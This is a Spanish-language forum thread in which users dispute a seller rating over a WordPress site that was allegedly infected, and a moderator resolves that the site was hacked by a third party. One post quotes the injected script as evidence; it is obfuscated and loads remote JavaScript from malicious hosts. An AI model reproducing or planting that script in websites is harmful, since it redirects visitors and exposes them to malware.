Calificación negativa de tnc05

SoLuIts dijo:

No soy programador. El sitio no está infectado y los problemas han desaparecido desde que se intervino. Desde el primer momento comente que no sabia si era adrede o que un directorio con mala configuracion de permisos o bien un codigo mal colocado puede desembocar en esto, solo dije que esto sucedió en el transcurso del accionar del usuario. Y nuevamente [MENTION=81006]kanikase[/MENTION] esto lo hubieses resuelto de forma mas profesional interesandote por tu cliente y no dejando que fluya. Parte de nuestro trabajo (quienes tenemos acceso y control a webs de terceros) es interesarse en ellas y atender cada problema, nos incumba o no, luego de solucionado sino era de tu incumbencia lo cobras y listo, no creo que [MENTION=28762]tnc05[/MENTION] ni ningun otro Webmaster quiera tener su web offline. La falta de profesionalismo es el punto clave de toda esta novela. Todos pueden equivocarse enmendar los errores es lo que nos hace cada dia mejor y mas confiable.

Hacer clic para expandir...

Mas a favor de Kanikase, porque esto solo se basa en sospechas y las demás razones ya no son validas para una negativa, pues llegaron a un acuerdo, ambas partes pueden optar por seguir cumpliendo ese acuerdo.

Ademas checa la fecha de la calificación es antes del problema, la calificación positiva deja ver que ambas partes llegaron a estar conformes con el negocio.

La negativa sigue siendo por sospecha y no es comprobable de forma contundente la culpabilidad de Kanikase.
[MENTION=28762]tnc05[/MENTION] La unica vez que yo cruce palabras con Kanikase, lo que hablamos esa vez queda privado entre ambos, pero fue la unica vez desde que estoy en el foro.



Yo estoy aquí porque la calificación esta mal puesta. No es la primer vez que sigo un tema de estos con constancia.

tnc05 dijo:

Hola Enlace eliminado, gracias por tu comentario.

En ese sentido puede que tengas razón, en caso de que tenga que editarla y poner que me dejó un caos en la web aparte de que incumplió los plazos, lo voy a hacer.. Asumiendo mi error de haber puesto solamente que la negativa fue por la infección y no por lo demás. Creo que en ese sentido tu comentario aporta a la discusión, puede ser una posibilidad a tener en cuenta, pero siempre hay que esperar a ver determina Carlos Arreola con este tema.

Hacer clic para expandir...

Pues yo lo haría, hazlo porque la calificación sirve para informar la experiencia con el usuario, y más allá del hacking o no, fue desastroza. En todo caso Carlos Arreola escribe cuando finaliza el tema, no es así?

kanikase dijo:

Nuevamente lo mismo Enlace eliminado, a él no le interesó explicarme qué sucedía con su web, simplemente me dijo que no quería platicar, en serio eso es difícil de entender?

Hacer clic para expandir...

Claro! un usuario que encuentra que estuvo una semana esperando por algo simple que le repararon algo mal y dejaron otras cosas sin funcionar esperas que esté de forma amorosa diciendote: querido programador podrias fijarte cuando tengas tiempo que mi sitio web está infectado? Vamos usa el sentido comun ¿como reaccionarias luego de esa seguidilla de cosas? Uno como profesional debe manejar los temperamentos y si debiste intentar hablarlo como adulto y responsable de lo que haya ocurrido mientras tuviste acceso.

Cesar de León dijo:

Kanikase vs tnc05 y todos los usuarios de las quedadas en argentina, como que no es muy pareja la contienda, y vamos que estoy de acuerdo con el afectado en la falta de responsabilidad del accionar de kaninase, pero tambien y en base a los alegatos expuestos del afectado (tnc05) en donde queda conforme con el trabajo (este bien o mal, o haya tenido contratiempos) la negativa no corresponde, y si a esto le sumamos el punto de vista del moderador (que sabe de programación) esta aclaración debería de terminar y con la quita de la negativa

El afectado puede ahora poner negativa, a su nuevo programador que le "elimino el problema" ya que a palabras de ciclow sigue con el hackeo

PD No conozco a Kanikase, ni he cruzado una palabra con el, desde que estoy en el foro, y si bien estoy poniéndome en los zapatos de tnc05, es frustrarte el problema que tuvo, no tiene pruebas de la culpabilidad del usuario kanikase

Hacer clic para expandir...

Excatamente, pero según por decir eso, estoy faltando al respeto.

Me puse a indagar sobre el tema, y al parecer el user no es el único con el problema de redireccionamiento y daños en la web. Al parecer, habría vulnerabilidades en varías páginas con el mismo script. [MENTION=81006]kanikase[/MENTION], revisa las web que te mandé. Quizás este en lo correcto pero lo que sí es que no es el único.

SoLuIts dijo:

Claro! un usuario que encuentra que estuvo una semana esperando por algo simple que le repararon algo mal y dejaron otras cosas sin funcionar esperas que esté de forma amorosa diciendote: querido programador podrias fijarte cuando tengas tiempo que mi sitio web está infectado? Vamos usa el sentido comun ¿como reaccionarias luego de esa seguidilla de cosas? Uno como profesional debe manejar los temperamentos y si debiste intentar hablarlo como adulto y responsable de lo que haya ocurrido mientras tuviste acceso.

Hacer clic para expandir...

jajajja lo leo y no lo creo una vez más a ver si se entiende, le pregunté "cómo" para saber qué le pasaba a su web y así tal vez ayudarlo, me dijo que no quería platicar, luego me amenazó con calificarme negativo y creo al día siguiente o hizo. Nunca me explicó que le pasaba a su web, ¿cómo le iba ayudar yo? Se entiende o lo explicamos con manzanas?

- - - Actualizado - - -

Pompinchu dijo:

Me puse a indagar sobre el tema, y al parecer el user no es el único con el problema de redireccionamiento y daños en la web. Al parecer, habría vulnerabilidades en varías páginas con el mismo script. [MENTION=81006]kanikase[/MENTION], revisa las web que te mandé. Quizás este en lo correcto pero lo que sí es que no es el único.

Hacer clic para expandir...

No tengo mucha experiencia en el tema, necesitaría revisarlas [MENTION=9679]cicklow[/MENTION] y él decir si esas webs, -que también usan productos de jonay- están infectadas, así todo se aclararía un poco más.

cicklow dijo:

La calificacion es por infectar el sitio, eso no es valido, la calificación es por el negocio el cual fue terminado (a medias o no, ambos quedaron de acuerdo)...Si luego le infectaron el sitio, se tiene que colocar pruebas suficientes las cuales muestren que kanikase edito el archivo ese colocando el eval de php, ya que podria haber estado infectado hace mucho y sin saberlo... Con cualquier escaner de vulnerabilidades (acunetix, etc) se podria descubrir ese bug y acceder (llegado el caso de que ya existiera en la web)...

[MENTION=28762]tnc05[/MENTION] tienes que colocar las pruebas de que [MENTION=81006]kanikase[/MENTION] te "infecto el sitio" y sea cual sea el caso, la negativa no va... por el negocio las dos partes quedaron de acuerdo como terminada (sea inconcluso o no)...

PD: Si voy a modificar un sitio web para hackearlo o lo que sea, no coloco un eval a simple vista de cualquiera... y menos sin al menos codificar ni nada... :fatigue:

Hacer clic para expandir...

[MENTION=29029]SoLuIts[/MENTION], [MENTION=28762]tnc05[/MENTION] Esto es de la pagina 7, ya vamos en la 21, hace mucho que se resolvió el asunto.

La negativa esta mal puesta, ha sido una cuestion de sospecha.

Actualmente ntc05 desea aplicarle todas las razones para que la negativa se mantenga y eso habla muy mal de el. Como ya afirme antes, esto mas parece una cuestión de venganza.

Alguien puede revisar si el producto original de jonay tiene esa "vulnerabilidad" incrustada?

El tema esta, en que el usuario permitió la falta de responsabilidad de kanikase (ya por eso parte no puede cambiar la calificación), pero el usuario la cambio deliberadamente alegando que kanikase le había hackeado el sitio o infectado.

Al describirse que el usuario recibió un hackeo de un tercero, saliendo de las responsabilidades de kanikase, quiere mantener la negativa aun :ambivalence:, esto parece algo mas bien de ensañamiento y no de ajusto entre comerciantes. Por eso la negativa no procede

Ademas, de las pocas pruebas que el usuario pudo expresar en sus post, porque es una acusación bastante grave la que hace de manera publica :topsy_turvy:.

Yo me pregunto todavia, donde están los LOG's de acceso al FTP o al servidor

cicklow dijo:

Buscando errores de PHP de su sitio en google aparece una de las url que google cacheo la cual esta infectada con esto:

PHP:

<script type="text/javascript">	var _prvar=_prvar||new Object();	(function(pa,s){if(document.getElementById('pr48960776'))return false;	pa=document.createElement('script');pa.type='text/javascript';pa.async=true;pa.id='pr48960776';pa.src='//prscripts.com/pub.js';	s=document.getElementsByTagName('script')[0];s.parentNode.insertBefore(pa,s);})();document.writeln('<'+'scr'+'ipt type="text/javascript" src="http://a.c'+'0594.com/?js=14"></'+'scr'+'ipt>');</script>
</head>

La cual AUN esas infectado, no has eliminado por completo el hackeo...

ese es el codigo que redirecciona a otro sitio... google muestra:


En todo tu sitio aun estan los codigos anteriores... si realmente lo limpiaste, pues te hackearon nuevamente... Yo no le veo continuar mas a esto, [MENTION=28762]tnc05[/MENTION] tu sitio fue hackeado, no infectado por kanikase....

PD: el dominio c0594.com el cual usan para redireccionar a otros lados esta reportada como virus y esta registrada desde el 2014...

Hacer clic para expandir...

En serio, esto no es prueba de que su sitio fue hackeado?



https://www.google.com/search?q=c0594.com



No tengo cuenta en namecheap

Whois c0594.com

- - - Actualizado - - -



Me van a decir que yo infecté todos esos sitios?

https://www.google.com/search?q=http://a.c0594.com/?js=

Mencionan a jonay, por los.productos que vendió y están usando las webs porno, tal vez son vulnerables las cosas que vende no se.

Bueno vamos a finalizar esto...
- [MENTION=28762]tnc05[/MENTION] tu negativa por "infectar el sitio" no aplica:
-- en su momento abrías calificado negativo porque no estabas conforme con el trabajo o neutral... y no calificar positivo!
-- te han hackeado el sitio, el cual por esto estas culpando a kanikase sin prueba alguna, pero si hay pruebas de que tu sitio fue hackeado he infectado y redireccionado a otro sitio el cual tambien fue hackeado... y finalmente se usa un dominio chino para la infección...
-- Hasta anoche el sitio de tnc05 aun continuaba con las redirecciones, hoy cuando verifico nuevamente (13hs luego) los js que redireccionan no estan mas...Por lo que en eso has limpiado el sitio

[MENTION=28762]tnc05[/MENTION] te recomiendo instalar wordfence o algun otro scaner en tu wp para terminar de escanear tu sitio y ver si aun continuas con infecciones... WP tiene muchos archivos PHP por los cuales se puede colocar codigo... y muchas carpetas a las cuales jamas accedes a ver si hay algo...

Respecto a los eval que aparecian en el sitio, fue por ahi en parte que accedieron al sitio (el cual habia 3 eval uno detras de otro, esto es que el mismo bot de hack accedio al menos 3 veces hackeando tu sitio, si fuera [MENTION=81006]kanikase[/MENTION] quien abria colocado esos eval directamente no lo coloca a los ojos de todos, ni mucho menos 3 al hilo... es como si quiero ganar una carrera de autos haciendo trampa y coloco 3 motores en el vehículo.. .es completamente absurdo...).
Digo en parte, porque te han hackeado por algun bug en el theme, plugin o hasta pudieron acceder desde otras de tus webs, ya que una ves accedido al servidor pueden hackear todas tus webs...

[MENTION=81006]kanikase[/MENTION] si no vas a completar un trabajo como tiene que ser directamente regresa el dinero y no hagas perder el tiempo de otros...

Resolución: La negativa por "infección" pasa a neutral "Trabajo mal terminado o inconcluso, disconforme con el mismo!"

PD: kanikase tendria que tener una negativa por su mal trabajo, pero esta aclaración fue por "infección" y la retirada de la misma es por este tema, si la negativa desde un principio abría sido por su mal trabajo, en este caso no estaríamos con todo esto y estoy 100% seguro que la negativa le quedaría por su mal trabajo...